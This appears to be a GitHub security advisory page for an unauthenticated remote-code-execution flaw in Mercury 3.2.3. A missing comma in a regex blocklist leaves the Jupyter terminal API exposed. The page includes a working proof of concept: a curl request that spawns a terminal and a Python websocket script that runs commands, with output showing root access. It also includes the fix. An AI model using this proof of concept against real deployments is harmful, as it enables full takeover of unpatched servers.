GHSA-F8C7-RWF9-FMGM
Vulnerability from github – Published: 2026-10-19 17:00 – Updated: 2026-10-19 17:00Summary
A missing comma in mercury_app/block_handler.py's BLOCKED_PATTERNS list causes the blocklist to fail to cover the /api/terminals endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.
Details
The blocklist in mercury_app/block_handler.py is defined as:
BLOCKED_PATTERNS = [
# JupyterLab UI + API
r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
r"/api/terminals(?:/.*)?",
r"/api/shutdown(?:/.*)?",
r"/files(?:/.*)?",
]
The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:
/lab...(?:/.*)?/api/terminals(?:/.*)? (the first two lines joined together)
/api/shutdown(?:/.*)?
/files(?:/.*)?
A direct request to /api/terminals does not match any of the 3 blocklist rules and is therefore not blocked, reaching Jupyter
Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.
PoC
Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default configuration.
Step 1 - spawn a terminal:
curl -i -X POST http://localhost:8888/api/terminals
Response: {"name": "1", "last_activity": "..."}
Step 2 - connect to the terminal and execute commands:
python3 -c "
import websocket, json, time
ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())
ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)
ws.settimeout(2)
try:
while True:
print(ws.recv())
except Exception:
pass
"
Observed output:
["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]
Confirms full, interactive root shell access with no authentication or prior access of any kind.
Impact
- Confidentiality: full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets).
- Integrity: attacker can modify or delete any file, including notebooks served to other users.
- Availability: attacker can shut down or crash the server/container.
- Lateral movement: the shell can be used as a foothold to attack other systems reachable from the host's network.
Exploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).
Fix
Add the missing comma so /api/terminals becomes an independent blocklist rule:
BLOCKED_PATTERNS = [
# JupyterLab UI + API
r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
r"/api/terminals(?:/.*)?",
r"/api/shutdown(?:/.*)?",
r"/files(?:/.*)?",
]
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.2.3"
},
"package": {
"ecosystem": "PyPI",
"name": "mercury"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-111057"
],
"database_specific": {
"cwe_ids": [
"CWE-185",
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-19T17:00:54Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nA missing comma in `mercury_app/block_handler.py`\u0027s `BLOCKED_PATTERNS` list causes the blocklist to fail to cover the `/api/terminals` endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.\n\n### Details\nThe blocklist in `mercury_app/block_handler.py` is defined as:\n```\nBLOCKED_PATTERNS = [\n # JupyterLab UI + API\n r\"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?\"\n r\"/api/terminals(?:/.*)?\",\n r\"/api/shutdown(?:/.*)?\",\n r\"/files(?:/.*)?\",\n]\n```\nThe missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:\n\n/lab...(?:/.`*`)?/api/terminals(?:/.`*`)? (the first two lines joined together)\n/api/shutdown(?:/.`*`)?\n/files(?:/.`*`)?\n\nA direct request to `/api/terminals` does not match any of the 3 blocklist rules and is therefore **not blocked**, reaching Jupyter\nServer\u0027s built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.\n\n### PoC\nTesting was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default\nconfiguration.\n \n**Step 1 - spawn a terminal:**\n\n\n```\ncurl -i -X POST http://localhost:8888/api/terminals\n```\nResponse: `{\"name\": \"1\", \"last_activity\": \"...\"}`\n\n**Step 2 - connect to the terminal and execute commands:**\n\n\n```\npython3 -c \"\nimport websocket, json, time\n\nws = websocket.create_connection(\u0027ws://localhost:8888/terminals/websocket/1\u0027)\nprint(ws.recv())\n\nws.send(json.dumps([\u0027stdin\u0027, \u0027whoami \u0026\u0026 id\\n\u0027]))\ntime.sleep(1)\n\nws.settimeout(2)\ntry:\n while True:\n print(ws.recv())\nexcept Exception:\n pass\n\"\n```\n\n\nObserved output:\n\n```\n[\"setup\", {}]\n[\"stdout\", \"# \"]\n[\"stdout\", \"whoami \u0026\u0026 id\\r\\n\"]\n[\"stdout\", \"root\\r\\n\"]\n[\"stdout\", \"uid=0(root) gid=0(root) groups=0(root)\\r\\n# \"]\n```\n\n\nConfirms full, interactive root shell access with no authentication or prior access of any kind.\n\n\n### Impact\n- **Confidentiality:** full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets).\n- **Integrity:** attacker can modify or delete any file, including notebooks served to other users.\n- **Availability:** attacker can shut down or crash the server/container.\n- **Lateral movement:** the shell can be used as a foothold to attack other systems reachable from the host\u0027s network.\n\nExploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).\n\n### Fix\nAdd the missing comma so `/api/terminals` becomes an independent blocklist rule:\n```\nBLOCKED_PATTERNS = [\n # JupyterLab UI + API\n r\"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?\",\n r\"/api/terminals(?:/.*)?\",\n r\"/api/shutdown(?:/.*)?\",\n r\"/files(?:/.*)?\",\n]\n```",
"id": "GHSA-f8c7-rwf9-fmgm",
"modified": "2026-10-19T17:00:54Z",
"published": "2026-10-19T17:00:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mljar/mercury/security/advisories/GHSA-f8c7-rwf9-fmgm"
},
{
"type": "WEB",
"url": "https://github.com/mljar/mercury/commit/8c467129037ee9df269d543ac217ffd33b97bf3f"
},
{
"type": "PACKAGE",
"url": "https://github.com/mljar/mercury"
},
{
"type": "WEB",
"url": "https://github.com/mljar/mercury/releases/tag/v3.2.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mercury: Unauthenticated Remote Code Execution in /api/terminals - access control bypass"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.